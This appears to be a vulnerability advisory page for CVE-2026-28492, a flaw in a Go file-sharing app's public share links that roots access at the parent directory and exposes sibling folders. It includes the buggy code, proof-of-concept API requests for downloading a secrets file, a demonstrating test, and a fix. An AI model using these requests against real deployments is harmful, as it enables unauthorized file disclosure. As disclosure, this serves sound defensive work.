CVE-2026-28492 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
When a user creates a public share link for a directory, the withHashFile middleware in http/public.go (line 59) uses filepath.Dir(link.Path) to compute the BasePathFs root. This sets the filesystem root to the parent directory instead of the shared directory itself, allowing anyone with the share link to browse and download files from all sibling directories.
In http/public.go lines 52-64, the withHashFile function handles public share link requests:
basePath := link.Path // e.g. "/documents/shared"
filePath := ""
if file.IsDir {
basePath = filepath.Dir(basePath) // BUG: becomes "/documents" (parent!)
filePath = ifPath
}
d.user.Fs = afero.NewBasePathFs(d.user.Fs, basePath)
When a directory at /documents/shared is shared, filepath.Dir("/documents/shared") evaluates to "/documents". The BasePathFs is then rooted at the parent directory /documents/, giving the share link access to everything under /documents/ - not just the intended /documents/shared/.
This affects both publicShareHandler (directory listing via /api/public/share/{hash}) and publicDlHandler (file download via /api/public/dl/{hash}/path).
/documents/shared/public-file.txt (intended to be shared)/documents/secrets/passwords.txt (NOT intended to be shared)/documents/private/financial.csv (NOT intended to be shared)/documents/shared (via POST /api/share/documents/shared)GET /api/public/share/{hash}/documents/shared//documents/ (parent), revealing secrets/, private/, and shared/ directoriesGET /api/public/dl/{hash}/secrets/passwords.txtafero.NewBasePathFs:func TestShareScopeEscape(t *testing.T) {
baseFs := afero.NewMemMapFs()
afero.WriteFile(baseFs, "/documents/shared/public.txt", []byte("public"), 0644)
afero.WriteFile(baseFs, "/documents/secrets/passwords.txt", []byte("admin:hunter2"), 0644)
linkPath := "/documents/shared"
basePath := filepath.Dir(linkPath) // BUG: "/documents"
scopedFs := afero.NewBasePathFs(baseFs, basePath)
// Sibling file is accessible through the share:
f, err := scopedFs.Open("/secrets/passwords.txt")
// err is nil - file accessible! Content: "admin:hunter2"
}
This test passes, confirming the vulnerability.
Unauthenticated information disclosure (CWE-200, CWE-706). Anyone with a public share link for a directory can:
Remove the filepath.Dir() call and use link.Path directly as the BasePathFs root:
if file.IsDir {
// Don't change basePath - keep it as link.Path
filePath = ifPath
}
d.user.Fs = afero.NewBasePathFs(d.user.Fs, basePath)
Affected commit: e3d00d591b567a8bfe3b02e42ba586859002c77d (latest)
File: http/public.go, line 59
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.